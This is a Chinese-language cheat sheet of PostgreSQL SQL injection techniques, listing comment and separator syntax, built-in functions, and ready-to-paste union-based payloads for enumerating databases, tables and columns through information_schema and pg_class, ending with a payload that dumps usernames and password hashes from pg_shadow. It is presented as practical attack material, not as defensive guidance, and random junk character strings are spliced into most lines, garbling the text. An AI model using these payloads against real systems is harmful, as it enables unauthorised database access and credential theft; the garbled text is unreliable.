结合了MSSQL MySQL Oracle的一些特点/ D2 d5 H' ^6 J
支持多语句执行,语句可以没有from postgres用户是超级用户(创始人账户) 只有superuser有copy权限 注释: — , /**/ G- R, ], s' K
连接符: %20 , + , /**/ 内置函数:
' ^* Z2 u1 x) w: x2 ^2 \% Wcurrent_database() //当前数据库名) t/ c! b: s6 o1 _6 ~+ c
session_user //会话用户
8 Q8 l' z/ J1 t* c6 f7 p. ucurrent_user //当前数据库用户 |4 _% Z# q5 t5 e
user //当前用户9 ^: {( |( s3 ?4 n
version() //数据库版本 Union注射:
6 B8 h) Y- Q0 f7 forder by n–# B- _# w* S) _( z+ r1 u
and 1=2 union select null,null,null–
! M: ?& g, z* I' j$ nand 1=2 union select ‘beach’,null,null–
2 L0 z5 X8 C' Y0 x# p" rand 1=2 union select (select version()),null,null– 获取表名,字段名(新版本利用information_schema):
8 H/ K" G9 n4 c( ^$ g( Ngroup_concat(table_name)
: M0 z* s5 Y9 f$ I6 z+ C4 r. uand 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–7 b& y* b8 W# j B9 H
and 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–6 ^" B) j$ U e* s) p* O1 }
(老版本)9 W$ V4 v% X7 J) L8 k% J
pg_class.oid对应pg_attribute.attrelid9 n. Q% b- z2 l7 F8 J- I/ \
pg_class.relname表名2 S; L/ f3 N7 o0 U$ p# t# V! Z9 A
pg_attribute.attname字段名 select relname from pg_class获取表名
. N) @# S1 n9 _6 u3 ]- Rselect oid from pg_class where 条件 获取参数
% w: n1 U0 H! Eselect attname from pg_attribute where attrelid=’oid的值’ 获取字段名 实战:
& w6 F0 u: r- J( @: W7 iand 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表 g2 [* Z* K1 e
and 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–
C, U# p( K7 p6 \由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136 and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名# |& I3 f% }" O* G- E |) E
======================================================================6 L4 z2 w9 m- I3 K1 @ g
and 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库! G1 B6 p G' Z7 ?/ O
and 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码 |